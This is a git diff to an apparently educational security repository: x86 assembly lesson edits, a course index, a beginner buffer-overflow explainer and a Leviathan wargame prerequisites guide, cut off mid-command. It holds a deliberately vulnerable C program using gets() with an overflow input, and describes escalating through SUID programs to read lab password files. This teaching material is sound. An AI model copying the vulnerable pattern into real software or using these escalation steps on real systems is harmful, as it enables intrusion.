+++ b/docs/konu_anlatimlari/x86_assembly/12_donguler.md
@@ -82,6 +82,8 @@ dongu:
int 0x80
```
+> 💡 **Hangi bayrağı `jnz` okuyor?** Bu döngüde `jnz`'den önce **iki** bayrak-kuran komut var: önce `add eax, ecx`, sonra `dec ecx` — ikisi de ZF'yi günceller (10). Kural basit: **her yeni aritmetik komut bir öncekinin bayrağını ezer**, o yüzden `jnz` yalnızca **kendinden hemen önceki** komutun (yani `dec`'in) bayrağına bakar. `dec`'i tam `jnz`'nin önüne bu yüzden koyduk; `add`'in kurduğu ZF umursanmaz, geçerli olan `dec`'inki.
+
Turları kafanda çevir: ecx=3 → eax 0+3=3; ecx=2 → eax 3+2=5; ecx=1 → eax 5+1=6; ecx=0 → `jnz` durur. Sonuç 6 (=1+2+3). Çalıştır:
```
diff --git a/docs/konu_anlatimlari/x86_assembly/16_calling_convention.md b/docs/konu_anlatimlari/x86_assembly/16_calling_convention.md
index 59521b0..c5592e4 100644
--- a/docs/konu_anlatimlari/x86_assembly/16_calling_convention.md
+++ b/docs/konu_anlatimlari/x86_assembly/16_calling_convention.md
@@ -33,6 +33,8 @@ cdecl'in üç temel kuralı (gerisi ayrıntı):
2. **Dönüş değeri `eax`'te** döner.
3. **Argümanları çağıran temizler** (fonksiyon değil).
+(Yukarıda sorduğumuz *"`ecx` bozulursa çağıranın `ecx`'i mahvolur mu?"*nun cevabı da bu sözleşmenin parçasıdır: hangi register'ı kimin koruyacağı belli kurala bağlıdır. Ama o bir ayrıntı — şimdilik bu üç kural `Topla`'yı yazmaya yetiyor, o inceliğe girmiyoruz.)
+
Şimdi bunları tek tek, çalışan kodla görelim.
> 🔑 **Calling convention** = çağıran ile fonksiyon arasındaki, "veriyi nereye koyacağız, sonucu nereden alacağız, kim temizleyecek" anlaşması. Tek doğru yok; 32-bit Linux'ta standart **cdecl**: argümanlar stack'e (sağdan sola), sonuç `eax`'te, temizlik çağıranda.
@@ -49,7 +51,7 @@ cdecl'in üç temel kuralı (gerisi ayrıntı):
call topla
```
-Neden ters? Böylece `call` yapıldığında **1. argüman stack'te en üstte** (dönüş adresine en yakın) olur — fonksiyon "ilk argümanım nerede?" derken tutarlı bir yere bakar. Az sonra tam adresini göreceğiz.
+Neden ters? Böylece **`call`'dan hemen önce** 1. argüman stack'in tepesinde olur; `call` dönüş adresini onun üstüne `push`'layınca (15) tepe yine **dönüş adresi** olur, 1. argüman da onun hemen **altında** (dönüş adresine en yakın) kalır — fonksiyon "ilk argümanım nerede?" derken tutarlı bir yere bakar. Az sonra tam adresini göreceğiz.
Sonuç ise `eax`'te döner (kural 2) — zaten 15'teki `ekle5` de sonucu eax'e bırakıyordu, cdecl bunu resmî kural yapıyor. Fonksiyondan çıkınca çağıran `eax`'e bakar, sonucu orada bulur.
@@ -69,7 +71,7 @@ topla:
mov ebp, esp ; ebp = şu anki tepe → sabit çıpa
```
-(Bu ilk örnekte çağıran `_start`; `ebp`'ye hiç değer yazmadık, yani sakladığımız şey aslında "boş", önemsiz bir sayı. Ama kural genel: fonksiyon, çağıran kim olursa olsun onun `ebp`'sini korur — burada sadece o boşu koruyor, kalıp her çağıranda aynı çalışsın diye.)
+(Bu ilk örnekte çağıran `_start`; `ebp`'ye anlamlı bir şey yazmamıştı, yani sakladığımız değerin **içeriği** önemsiz. Ama **satırın kendisi** önemli: çoğu çağıranın korunması gereken gerçek bir `ebp`'si olur — 19'da C fonksiyonlarında göreceksin — o yüzden kalıp, çağıran kim olursa olsun onun `ebp`'sini saklar. Burada sadece o "boş"u koruyor.)
Bu iki satırdan sonra stack şöyle dizilidir (14'ten: yukarı = büyük adres). `ebp` artık sabit; ona göre argümanlar:
@@ -117,7 +119,7 @@ topla:
ret
```
-Bir tek yeni parça var: `call`'dan sonraki `add esp, 8`. Bu, **kural 3** — çağıran, stack'e ittiği 2 argümanı (2 × 4 = 8 byte) geri temizliyor. (15'in uyarısını hatırla: stack dengede kalmazsa işler bozulur. Argümanları iten çağıran olduğu için, temizleyen de o.) Çalıştır:
+Bir tek yeni parça var: `call`'dan sonraki `add esp, 8`. Bu, **kural 3** — çağıran, stack'e ittiği 2 argümanı (2 × 4 = 8 byte) geri temizliyor. Neden `sub` değil de **`add`**? Stack aşağı (küçük adrese) doğru büyür (14); argümanları `push`'larken `esp` 8 **azalmıştı**, temizlik de onu 8 geri **artırır** — "silmek" burada `esp`'yi ittiğimiz yerin üstüne, eski tepeye taşımaktır. (15'in uyarısını hatırla: stack dengede kalmazsa işler bozulur. Argümanları iten çağıran olduğu için, temizleyen de o.) Çalıştır:
```
nasm -f elf32 topla_fn.asm -o topla_fn.o
diff --git a/docs/konu_anlatimlari/x86_assembly/19_c_ile_assembly_koprusu.md b/docs/konu_anlatimlari/x86_assembly/19_c_ile_assembly_koprusu.md
index 6c3a911..01f7c4f 100644
--- a/docs/konu_anlatimlari/x86_assembly/19_c_ile_assembly_koprusu.md
+++ b/docs/konu_anlatimlari/x86_assembly/19_c_ile_assembly_koprusu.md
@@ -78,7 +78,7 @@ topla:
ret ; ┘ (çağırana dön) → 15. ders (ret)
```
-**İşte kursun bütün ödülü bu tabloda.** Derleyici, `a + b` gibi masum bir C satırını, tam da senin 16'da **elle kurduğun** iskelete çevirdi: prologue ile `ebp` çıpasını kur, argümanları `[ebp+8]` ve `[ebp+12]`'den oku (16'daki sözleşme!), `add` ile topla (09), epilogue ile temizle ve `ret`'le dön (15). Sen kurstan önce baksan bu bir gizemdi; şimdi **okuyabiliyorsun.**
+**İşte kursun bütün ödülü bu tabloda.** Derleyici, `a + b` gibi masum bir C satırını, tam da senin 16'da **elle kurduğun** iskelete çevirdi: prologue ile `ebp` çıpasını kur, argümanları `[ebp+8]` ve `[ebp+12]`'den oku (16'daki sözleşme!), `add` ile topla (09) — **sonuç `eax`'te kalır, ki cdecl'de dönüş değerinin durduğu yer orasıdır (16); C'deki `return a + b;`'nin "döndür" kısmı işte bu, ayrı bir komut değil** — epilogue ile temizle ve `ret`'le dön (15). Sen kurstan önce baksan bu bir gizemdi; şimdi **okuyabiliyorsun.**
(Küçük bir fark: derleyici toplamı hesaplarken `edx`'i geçici olarak kullandı, biz elle yazarken doğrudan `eax`'i kullanmıştık. Bu normal — hangi register'ı geçici olarak seçeceği derleyicinin tercihidir; ikisi de aynı sözleşmeye uyduğu sürece sonuç değişmez.)
@@ -96,7 +96,7 @@ int carp8(int x) {
}
```
-`gcc -m32 -S -masm=intel -O1 ...` ile çevir. Ürettiği:
+`gcc -m32 -S -masm=intel -O1 -fno-pie -fno-pic carp8.c -o carp8.s` ile çevir (aynı bayraklar, tek fark `-O0` yerine `-O1`). Ürettiği:
```nasm
carp8:
@@ -107,7 +107,17 @@ carp8:
**İşte 13'ün sözü.** 13'te sana `shl` demiştim; gcc burada `sal` yazdı — şaşırma, beklediğin komut bu: **sola kaydırmada `sal` ile `shl` birebir aynı komuttur** (aynı makine kodu, aynı opcode), sadece iki farklı isim. C'de `x * 8` yazdın, ama derleyici bir çarpma komutu (`mul`) koymadı — onun yerine `sal eax, 3` (sola 3 kaydır = ×2³ = ×8) koydu, çünkü kaydırma çok daha hızlı (13). C'de "çarpma" gördün; makinede bir **bit kaydırma** var. İkisi aynı sonucu verir ama derleyici hızlısını seçti.
-Küçük bir ek gözlem: `-O1` açıkken `push ebp`/`mov ebp, esp` prologue'u **bile yok** — derleyici, bu minik fonksiyonun `ebp` çıpasına ihtiyaç duymadığını görüp atlamış, argümanı doğrudan `[esp+4]`'ten okumuş. (Neden az önceki gibi `[ebp+8]` değil de `[esp+4]`? Çünkü prologue'daki `push ebp` yok — o `push` stack'i 4 byte aşağı itiyordu ve biz ölçüyü `ebp`'ye göre yapıyorduk. O kayma olmayınca 1. argüman `esp`'ye göre 4 byte yakında: `[esp+4]`.) (16'da "prologue bir *kolaylık*, mecburiyet değil" demiştik; işte kanıtı.) Optimize edilmiş kod, elle yazdığından daha "kurnaz" görünür — ama altında hep bildiğin komutlar vardır.
+Küçük bir ek gözlem: `-O1` açıkken `push ebp`/`mov ebp, esp` prologue'u **bile yok** — derleyici, bu minik fonksiyonun `ebp` çıpasına ihtiyaç duymadığını görüp atlamış, argümanı doğrudan `[esp+4]`'ten okumuş.
+
+Neden az önceki gibi `[ebp+8]` değil de `[esp+4]`? Üç adımda:
+
+- Fonksiyona girildiği an stack'in tepesinde (`[esp]`) **dönüş adresi** durur; 1. argüman onun hemen üstünde: **`[esp+4]`**.
+- Prologue **olsaydı**, `push ebp` `esp`'yi 4 byte aşağı iter, `mov ebp, esp` çıpayı oraya sabitlerdi — o yüzden `ebp`'ye göre argüman 4 byte daha uzakta kalırdı: **`[ebp+8]`**.
+- Bu fonksiyonda prologue **yok**, o itiş hiç olmadı; ölçüyü doğrudan `esp`'den yapıyoruz: **`[esp+4]`**.
+
+("Hani `esp` sürekli oynuyordu, ona güvenmek tehlikeliydi (16)?" — evet; ama bu minik fonksiyon stack'e hiç dokunmuyor (`push`/`pop`/`call` yok), o yüzden `esp` baştan sona **kıpırdamıyor** ve burada ona güvenmek güvenli.)
+
+(16'da "prologue bir *kolaylık*, mecburiyet değil" demiştik; işte kanıtı.) Optimize edilmiş kod, elle yazdığından daha "kurnaz" görünür — ama altında hep bildiğin komutlar vardır.
> 🔑 `-O1`/`-O2` (optimizasyon) açıkken derleyici zekileşir: `× 8` → `shl/sal` (13), gereksiz prologue'u atar, register'ları kurnazca kullanır. Bu yüzden optimize edilmiş kod ilk bakışta yabancı görünebilir — ama tuğlaları hep bu kursun tuğlalarıdır. Tersine mühendislikte işin çoğu, bu "kurnaz ama tanıdık" kalıpları sökmektir.
diff --git a/docs/konu_anlatimlari/x86_assembly/20_buradan_nereye.md b/docs/konu_anlatimlari/x86_assembly/20_buradan_nereye.md
index 70fa3e8..559b59c 100644
--- a/docs/konu_anlatimlari/x86_assembly/20_buradan_nereye.md
+++ b/docs/konu_anlatimlari/x86_assembly/20_buradan_nereye.md
@@ -63,7 +63,9 @@ _start:
Gördüğün gibi **kavram** hiç değişmedi — "register'a değer koy, numarayı `rax`'e yaz, çağır." Sadece isimler ve birkaç sayı farklı. 32-bit'i anladıysan, 64-bit'e geçiş bir öğleden sonralık iş.
-> 🔑 64-bit, öğrendiğinin **büyümüş hâli:** `e__` register'lar `r__` olur (+ `r8`–`r15`), `int 0x80` yerine `syscall`, çağrı numaraları değişir. Kavramlar (register, stack, çağrı sözleşmesi, syscall) aynı. 32-bit sağlam temelse, 64-bit sadece yeni bir lehçe.
+(Tek gerçek *yeni alışkanlık* şu: 64-bit'te bir **fonksiyona** argümanları — 16'da yaptığın gibi stack'e `push`'layıp `[ebp+8]`'den okumak yerine — doğrudan **register'lara** (`rdi`, `rsi`, `rdx`...) koyarsın. Yani 16'nın `[ebp+8]` stack-argüman modeli 32-bit cdecl'e özgüdür; 64-bit bir fonksiyonun içinde `[ebp+8]` görmezsin — tersine mühendislikte bunu bileceksin. Yukarıdaki tablodaki *syscall* argümanlarının register'da olması da zaten aynı mantığın bir örneği.)
+
+> 🔑 64-bit, öğrendiğinin **büyümüş hâli:** `e__` register'lar `r__` olur (+ `r8`–`r15`), `int 0x80` yerine `syscall`, çağrı numaraları değişir. Kavramların çoğu (register, stack, syscall) aynı; çağrı sözleşmesinin **fikri** de aynı — tek gerçek fark, fonksiyon argümanlarının stack yerine **register**'a geçmesi. 32-bit sağlam temelse, 64-bit sadece yeni bir lehçe.
---
Krypton03 / 08
+ Krypton03 / 09
Cryptography fundamentals — from classic ciphers to modern approaches. You crack encrypted messages.
3/10
Difficulty
Learn Linux and security by watching the te
- Natas04 / 08
+ Natas04 / 09
Web security — HTTP, source-code analysis, SQL injection, XSS and more. Played in the browser.
4/10Difficulty
@@ -164,7 +164,7 @@ Learn Linux and security by watching the te
- Narnia05 / 08
+ Narnia05 / 09
Binary exploitation — buffer overflow, format string and basic exploit development. Requires reading assembly.
6/10Difficulty
@@ -180,7 +180,7 @@ Learn Linux and security by watching the te
- Behemoth06 / 08
+ Behemoth06 / 09
Intermediate binary exploitation. More complex scenarios than Narnia, ASLR and various protections.
7/10Difficulty
@@ -196,7 +196,7 @@ Learn Linux and security by watching the te
- Utumno07 / 08
+ Utumno07 / 09
Advanced binary exploitation. Minimum hints, maximum difficulty — for experienced exploit developers only.
9/10Difficulty
@@ -212,7 +212,7 @@ Learn Linux and security by watching the te
- Maze08 / 08
+ Maze08 / 09
Mixed binary exploitation & RE — a different vulnerability class each level: TOCTOU, library hijack, self-modifying code, FSOP, ELF parser, format string. A capstone after Behemoth + Utumno.
5/10Difficulty
@@ -226,6 +226,22 @@ Learn Linux and security by watching the te
+
+
+ Vortex09 / 09
+ A broad lab that begins with network/socket programming and walks the entire classic binary-exploitation curriculum — endianness, overflow, format string, heap, ret2libc/ROP, then cryptanalysis + RE/keygen. Source isn't given at most levels.
+
+ 6/10Difficulty
+ 27Levels
+
+
+ endiannessoverflowformat stringheap/ROPcrypto/RE
+
+ vortex.labs...:2228
+ writeups →
+
+
+
@@ -246,9 +262,17 @@ Learn Linux and security by watching the te
▸linux_commands/file system · text processing · networking · permissions · processes · git
7 topics
+
+ ▸switches_to_computer/ 🚧switch → NAND → gates → adder; build the processor from its parts
+ 8 modules · in progress
+
+
+ ▸x86_assembly/assembly from scratch · machine model · arithmetic · flow · stack · functions · syscalls · C bridge
+ 25 modules
+
▸binary_exploitation/x86 assembly → format string → ROP → GOT/PLT → protections
- 22 modules
+ 23 modules
▸web_security/HTTP · source & devtools · cookies · injection · deserialization
@@ -260,7 +284,7 @@ Learn Linux and security by watching the te
▸leviathan_commands/binary analysis · gdb · ltrace/strace · symlink · brute force
- 6 topics
+ 8 topics
diff --git a/docs/eng/konu_anlatimlari/KONU_ANLATIMLARI.md b/docs/eng/konu_anlatimlari/KONU_ANLATIMLARI.md
index 944b101..b2aa504 100644
--- a/docs/eng/konu_anlatimlari/KONU_ANLATIMLARI.md
+++ b/docs/eng/konu_anlatimlari/KONU_ANLATIMLARI.md
@@ -22,6 +22,8 @@
| File | Commands / Concepts |
|---|---|
+| [before_you_start.md](./leviathan_komutlari/before_you_start.md) | Before starting Leviathan: SSH connection, how the game works, prerequisites, the recon reflex |
+| [what_leviathan_teaches.md](./leviathan_komutlari/what_leviathan_teaches.md) | What Leviathan teaches: info disclosure, command injection, symlink/TOCTOU, encoding≠security, level→concept map |
| [file_permissions_suid.md](./leviathan_komutlari/file_permissions_suid.md) | `chmod` `find -perm` `whoami` `SUID` privilege escalation |
| [binary_analysis.md](./leviathan_komutlari/binary_analysis.md) | `file` `strings` `xxd` `od` binary→ASCII |
| [ltrace_strace.md](./leviathan_komutlari/ltrace_strace.md) | `ltrace` `strace` `strcmp` `fopen` `access` `system` |
@@ -70,12 +72,65 @@
---
+## 🔌 From Switches to a Computer (NAND to CPU)
+
+> 🚧 **This course is still being written** — it grew out of the NandGame journey; right now it's written from switch/relay up to the **Full Adder** (00–06). The rest (multi-bit adder, ALU, memory, clock, control unit) will be added as the journey continues.
+>
+> 🧭 **New to this?** → [00_buradan_basla.md](./salterden_bilgisayara/00_buradan_basla.md) — for people who want to learn the processor not by asking "what is it?" but by **building it from its parts**. It's the sibling and the floor beneath the x86 course: there you learn to give the worker orders, here you build the worker from transistors.
+
+| File | Topics |
+|---|---|
+| [00_buradan_basla.md](./salterden_bilgisayara/00_buradan_basla.md) | Course map; the journey from switches to a CPU |
+| [01_akim_salter_role.md](./salterden_bilgisayara/01_akim_salter_role.md) | Current, switch, relay — the first "logic" |
+| [02_nanddan_kapilar.md](./salterden_bilgisayara/02_nanddan_kapilar.md) | NAND is universal: deriving NOT/AND/OR/XOR |
+| [03_xor_iki_fedai.md](./salterden_bilgisayara/03_xor_iki_fedai.md) | Building XOR — "the two workhorses" (OR + NAND + AND) |
+| [03.5_soyutlama_merdiveni.md](./salterden_bilgisayara/03.5_soyutlama_merdiveni.md) | A gate = a closed box; climbing one floor up |
+| [04_teller_sayi_olunca.md](./salterden_bilgisayara/04_teller_sayi_olunca.md) | Assigning value to wires; the token logic |
+| [05_half_adder.md](./salterden_bilgisayara/05_half_adder.md) | XOR+AND = the seed of addition (sum + carry) |
+| [06_full_adder.md](./salterden_bilgisayara/06_full_adder.md) | a+b+carry-in; two half adders = the skeleton of an ALU |
+
+---
+## ⚙️ x86 Assembly (from scratch)
+
+> ✅ **This course is complete (00–20).** From the machine model up through arithmetic · control flow (jmp/loops) · the stack · functions · system calls · the C bridge; **every program in it was verified by running it on a real machine.**
+>
+> 🧭 **New to this?** → [00_buradan_basla.md](./x86_assembly/00_buradan_basla.md) — for people who want to learn assembly truly from scratch, *by writing it*. It's the deep groundwork for Binary Exploitation ("first learn to give the worker orders, then learn to bend the order").
+
+| File | Topics |
+|---|---|
+| [00_buradan_basla.md](./x86_assembly/00_buradan_basla.md) | Course map, mental model, how to study |
+| [01_bilgisayar_nedir.md](./x86_assembly/01_bilgisayar_nedir.md) | Numbered boxes + a worker; what "running" means |
+| [02_terminal_ile_tanisma.md](./x86_assembly/02_terminal_ile_tanisma.md) | The terminal, typing commands, reading output |
+| [03_sayilar_ikilik_onaltilik.md](./x86_assembly/03_sayilar_ikilik_onaltilik.md) | Binary/hex — counting the way the machine counts |
+| [04_bellek_ve_registerlar.md](./x86_assembly/04_bellek_ve_registerlar.md) | Memory (boxes) + registers (the worker's hands); AL/AH/EAX |
+| [05_kurulum_ve_ilk_program.md](./x86_assembly/05_kurulum_ve_ilk_program.md) | Installing nasm/ld/gdb, the write→assemble→run chain |
+| [06_ilk_gercek_program.md](./x86_assembly/06_ilk_gercek_program.md) | A value into a register with `mov`, exit code, `echo $?` |
+| [07_gdb_tek_adim.md](./x86_assembly/07_gdb_tek_adim.md) | Single-stepping in GDB (`starti` / `si`), watching registers live, `eip` |
+| [08_mov_ve_bellek.md](./x86_assembly/08_mov_ve_bellek.md) | `[...]` memory addressing, `section .data`, load/store, the first pointer follow (`[ebx]`) |
+| [08.5_little_endian.md](./x86_assembly/08.5_little_endian.md) | Looking at memory byte by byte; the "exactly reversed" byte order (little-endian) |
+| [09_aritmetik.md](./x86_assembly/09_aritmetik.md) | `add`/`sub`/`inc`/`dec`; two's complement (negative numbers); the whole load-compute-store dance |
+| [10_bayraklar_ve_cmp.md](./x86_assembly/10_bayraklar_ve_cmp.md) | Flags (ZF/SF), `cmp` and `test`; the raw material of a decision |
+| [11_ziplamalar.md](./x86_assembly/11_ziplamalar.md) | `jmp`/`jz`/`jnz`/`jl`/`jg`; breaking the straight flow, the even-odd program |
+| [12_donguler.md](./x86_assembly/12_donguler.md) | Backward jump + counter = a loop; sum 1..N, multiplication by repeated addition |
+| [13_bit_islemleri.md](./x86_assembly/13_bit_islemleri.md) | `and`/`or`/`xor`/`shl`/`shr`; `xor eax,eax`=zero it; `test`=`and` |
+| [14_stack.md](./x86_assembly/14_stack.md) | `push`/`pop`, `esp`, LIFO; why the stack grows down (the worker's notepad) |
+| [15_call_ve_ret.md](./x86_assembly/15_call_ve_ret.md) | Functions, the return address; `call`=`push`+`jmp`, `ret`=`pop` |
+| [16_calling_convention.md](./x86_assembly/16_calling_convention.md) | cdecl: passing arguments, return value, the `ebp` anchor, prologue/epilogue |
+| [17_sistem_cagrilari.md](./x86_assembly/17_sistem_cagrilari.md) | `int 0x80`, syscall numbers; "Hello World" on screen (the `sys_exit` debt is paid) |
+| [18_ilk_etkilesimli_program.md](./x86_assembly/18_ilk_etkilesimli_program.md) | `sys_read` + `section .bss`; an interactive program that asks your name and greets you |
+| [19_c_ile_assembly_koprusu.md](./x86_assembly/19_c_ile_assembly_koprusu.md) | Seeing familiar patterns in compiled code with `gcc -S` (`x*8`→`shl`) |
+| [20_buradan_nereye.md](./x86_assembly/20_buradan_nereye.md) | Moving to 64-bit, reverse engineering, binary exploitation, further resources |
+
+*(The interludes 01.5 / 04.5 / 05.5 are linked inside the course. The series is complete: 00–20.)*
+
+---
## 💥 Binary Exploitation
> 🧭 **New to this?** Start here → [00_buradan_basla.md](./binary_exploitation/00_buradan_basla.md) — an intro for people who don't know assembly: minimum instruction dictionary, the little-endian trap, an end-to-end first exploit, and the reading order.
| File | Topics |
|---|---|
+| [00a_assembly_bilmeden_giris.md](./binary_exploitation/00a_assembly_bilmeden_giris.md) | Getting started without assembly: minimum instruction dictionary, an end-to-end first exploit |
| [00_x86_assembly_temelleri.md](./binary_exploitation/00_x86_assembly_temelleri.md) | Registers, data types, MOV/LEA/arithmetic, PUSH/POP, CALL/RET, calling convention, prologue/epilogue |
| [00b_gdb_ile_assembly_okumak.md](./binary_exploitation/00b_gdb_ile_assembly_okumak.md) | Assembly→C method, common patterns (memset/memcpy/strlen/switch), GDB command reference |
| [01_bellek_ve_memory_layout.md](./binary_exploitation/01_bellek_ve_memory_layout.md) | Stack layout, variable adjacency, buffer overflow logic, `x/20wx $esp` |
diff --git a/docs/eng/konu_anlatimlari/binary_exploitation/00a_assembly_bilmeden_giris.md b/docs/eng/konu_anlatimlari/binary_exploitation/00a_assembly_bilmeden_giris.md
new file mode 100644
index 0000000..3f4b5b8
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/binary_exploitation/00a_assembly_bilmeden_giris.md
@@ -0,0 +1,106 @@
+# 👶 The Logic of Binary Exploitation (Pwn) Without Knowing Assembly
+
+If you have never seen Assembly before, "Binary Exploitation" (or Pwn) can feel very intimidating. Most resources start straight away with registers (EAX, EBP) and hex addresses.
+
+However, **you do not need to know Assembly to grasp the logic**. It is enough to understand, at a basic level, how the C programming language works with memory (RAM).
+
+This guide was prepared so that even someone who knows no Assembly at all can understand the logic of **Buffer Overflow**, the most fundamental vulnerability in Binary Exploitation.
+
+> 🧭 **Note:** This is deliberately the "quick start without asm" path. As you will see below (and as you progress line by line), modern protections and ROP will eventually require assembly — at that point, if you want a solid foundation from scratch → **[x86 Assembly course](../x86_assembly/00_buradan_basla.md)** *(in progress)*.
+
+---
+
+## 📚 An Analogy From Real Life: The Box and the Diary
+
+Imagine there are two boxes standing side by side on your desk.
+1. **Left Box (Name Box):** Just big enough to hold a name card of 5 letters.
+2. **Right Box (Secret Diary):** A very secret diary, with "ONLY THE OWNER MAY READ" written on it.
+
+They ask you to write your name and put it in the Left Box. The box can hold 5 letters, but you try to cram in a card that says "Abdurrahman" (11 letters).
+
+What happens?
+Because the card is too long, it does not fit in the Left Box, it overflows, and the tip of the card **goes into the Right Box (the Secret Diary)**. If you wrote a special keyword on that overflowing part of the card, you have accidentally (or deliberately) unlocked the Secret Diary!
+
+This is exactly what **Buffer Overflow** is. The programmer reserved a spot of 5 letters for you, you send 100 letters into it, and the overflowing letters get written over very critical data in the memory (RAM) that the program had reserved for other purposes.
+
+---
+
+## 💻 Let's See It Through Code (Only C, No Assembly)
+
+Let's look at this simple program written in C:
+
+```c
+#include
+#include
+
+int main() {
+ int sifre_dogru_mu = 0; // Right Box: Initially 0 (False)
+ char isim_kutusu[5]; // Left Box: Only room for 5 characters
+
+ printf("Enter your name: ");
+ gets(isim_kutusu); // GET INPUT FROM THE USER (THE VULNERABILITY IS HERE!)
+
+ if (sifre_dogru_mu != 0) {
+ printf("HACK SUCCESSFUL! You have accessed the secret information.\n");
+ } else {
+ printf("You only entered a name, login failed.\n");
+ }
+
+ return 0;
+}
+```
+
+### Where Is the Vulnerability?
+The `gets()` function is extremely dangerous because it does not ask the user **"How many letters will you enter?"** It just reads everything the user typed and starts writing it into the spot named `isim_kutusu` (a 5-letter spot).
+
+### What Happens in Memory (RAM)?
+Variables sit side by side in memory:
+`[ isim_kutusu (5 byte) ] [ sifre_dogru_mu (4 byte) ]`
+
+**Scenario 1: Normal Use**
+You entered "Ali" as your name.
+Memory looks like this:
+`[ A | l | i | \0 | empty ] [ 0 | 0 | 0 | 0 ]`
+Result: `sifre_dogru_mu` is still 0. Hack failed.
+
+**Scenario 2: Hacker Attack (Buffer Overflow)**
+You entered "AAAAAAAAA" (9 A's) as your name.
+Memory takes 5 letters, and the rest **overflows** and gets written over the variable next to it!
+`[ A | A | A | A | A ] [ A | A | A | A ]`
+
+Now the inside of the `sifre_dogru_mu` variable is no longer 0, but filled with 'A' letters (numbers, in computer terms)! Since the value is now different from 0, the `if (sifre_dogru_mu != 0)` condition is satisfied and:
+👉 **"HACK BASARILI! Gizli bilgilere eristiniz."**
+
+Just like that, without knowing Assembly, simply by knowing that variables sit side by side and that one can overflow and crush the other, we understood our first vulnerability!
+
+---
+
+## 🛠️ Can You Learn Pwn Without Knowing Assembly?
+
+In the beginning, **yes** — you can find vulnerabilities by understanding the high-level logic (the C code). However, to get past modern protections (ASLR, NX, Canary) and to use more advanced techniques like "Return Oriented Programming (ROP)", you need to know how the program runs in machine language (on the CPU).
+
+**Good News:** You do not need to learn Assembly well enough to "write" it. It is enough to know how to "read it and understand what it means" (especially what pointers like EIP/RIP are for).
+
+### Learning Strategy
+1. **Learn C First:** Pointers, arrays, and memory management.
+2. **Use a Decompiler:** Tools like Ghidra turn Assembly code back into C code (or into something very close to it). This way you don't have to read Assembly.
+3. **Use Pwntools:** A library that makes writing exploits with Python very easy. It does the low-level byte calculations for you.
+4. **Learn Assembly Along the Way:** When you come across a `mov` or `cmp` instruction you don't know, just look up what that instruction does at that moment. Don't try to memorize everything up front.
+
+---
+
+## 🔗 Resources for Beginners That Require No / Little Assembly
+
+Here are resources that explain the theory in a fun and practical way, without drowning you in details:
+
+1. **picoCTF (Pwn Category):**
+ - It is the world's best beginner CTF. The first questions in the "Binary Exploitation" category (for example `buffer overflow 0` or `stonks`) come with the source code. They ask you to find and exploit vulnerabilities in the C code.
+2. **LiveOverflow (YouTube):**
+ - The "Binary Exploitation / Memory Corruption" playlist is legendary. It explains topics with really nice animations and drawings. It is perfect for grasping the logic of the work.
+3. **Nightmare (GitHub Book):**
+ - A great resource that works through CTF questions. It explains step by step, starting from the simplest buffer overflow.
+4. **Pwn College:**
+ - A free platform prepared by ASU (Arizona State University). It lets you learn entirely through hands-on practice from the terminal.
+
+---
+**Next Step:** If you understood the logic above, you can continue from the `01_bellek_ve_memory_layout.md` file in this folder.
diff --git a/docs/eng/konu_anlatimlari/leviathan_komutlari/before_you_start.md b/docs/eng/konu_anlatimlari/leviathan_komutlari/before_you_start.md
new file mode 100644
index 0000000..f2c8cae
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/leviathan_komutlari/before_you_start.md
@@ -0,0 +1,127 @@
+# Before You Start — Leviathan Prerequisites
+
+> Everything you need to know before sitting down at the Leviathan lab: the logic of the game, how to connect, what fundamentals you need, and what kind of exploration reflex you should build in the very first shell you open.
+
+---
+
+## What is Leviathan?
+
+Leviathan is an **entry-level** wargame on the [OverTheWire](https://overthewire.org/wargames/leviathan/) site. Unlike Narnia/Behemoth, it doesn't teach you to write exploits; it teaches you **basic Linux skills, file permissions, SUID logic, and simple reverse engineering**. There are 8 levels (leviathan0 → leviathan7), and most levels are solved in 5–15 minutes.
+
+There are no hints/theory — each level only gives you a user and a directory; you find the rest by exploring.
+
+---
+
+## How the game works
+
+The common rule across all OverTheWire games is this:
+
+```
+Each level is about capturing the password of the NEXT level.
+```
+
+- You log in as `leviathan0`, and your goal is to find the `leviathan1` password.
+- The password always sits here:
+
+```bash
+/etc/leviathan_pass/leviathan
+```
+
+- Only the `leviathanN` user can read this file. You are `leviathan(N-1)` → you can't `cat` it directly.
+- So, using a **SUID program** in the home directory or a misconfiguration, you escalate to `leviathanN` privileges, then read the password.
+
+---
+
+## How do you connect? (SSH)
+
+```bash
+ssh leviathan0@leviathan.labs.overthewire.org -p 2223
+```
+
+| Part | Value |
+|---|---|
+| User | `leviathan0` (first level) |
+| Server | `leviathan.labs.overthewire.org` |
+| Port | `2223` |
+| Starting password | `leviathan0` |
+
+Once you solve a level and find the next password, you exit (`exit`) and reconnect as the next user up:
+
+```bash
+ssh leviathan1@leviathan.labs.overthewire.org -p 2223 # with the password you found
+```
+
+> **Note:** When you type the password it won't appear on screen (this is normal). When you copy-paste, watch out for leading/trailing whitespace.
+
+---
+
+## What fundamentals do you need?
+
+Knowing the topics below is enough. For each one there is a separate topic writeup in this folder:
+
+| Need | Why it's needed | Topic file |
+|---|---|---|
+| **Navigating the terminal** (`ls -la`, `cd`, `cat`, `pwd`) | Exploring directories, seeing hidden files | [linux_komutlari/dosya_sistemi.md](../linux_komutlari/dosya_sistemi.md) |
+| **Text searching** (`grep`, `strings`) | Finding a leaked password inside a file | [linux_komutlari/metin_isleme.md](../linux_komutlari/metin_isleme.md) |
+| **File permissions & SUID** | The whole logic of the game rests on this | [file_permissions_suid.md](./file_permissions_suid.md) |
+| **Binary recognition** (`file`, `xxd`, binary→ASCII) | Figuring out whether a program is 32/64-bit and decoding its output | [binary_analysis.md](./binary_analysis.md) |
+| **Dynamic analysis** (`ltrace`, `strace`) | Seeing which password the program compares against | [ltrace_strace.md](./ltrace_strace.md) |
+| **Static analysis** (`gdb`, `objdump`) | Reading embedded constants/code | [gdb.md](./gdb.md) |
+| **Symbolic links** (`ln -s`) | Redirecting the file the program reads | [symbolic_links.md](./symbolic_links.md) |
+| **Bash loops & brute force** | Trying short codes/PINs | [brute_force_bash.md](./brute_force_bash.md) |
+
+> All of these tools are **already installed on the server** (`ltrace`, `strace`, `gdb`, `objdump`, `strings`, `file` are present). You don't need to install anything on your own machine; just an SSH client is enough.
+
+---
+
+## The exploration reflex in the first shell you open
+
+Every time you enter a new level, apply these steps without thinking:
+
+```bash
+# 1) Where am I, who am I?
+pwd; id; whoami
+
+# 2) What's IN the home directory? (including hidden files — the most critical command)
+ls -la
+
+# 3) If there's an interesting file/binary, learn its type
+file
+
+# 4) If it's a binary: run it, see what it wants; then trace it with ltrace
+./
+ltrace ./
+
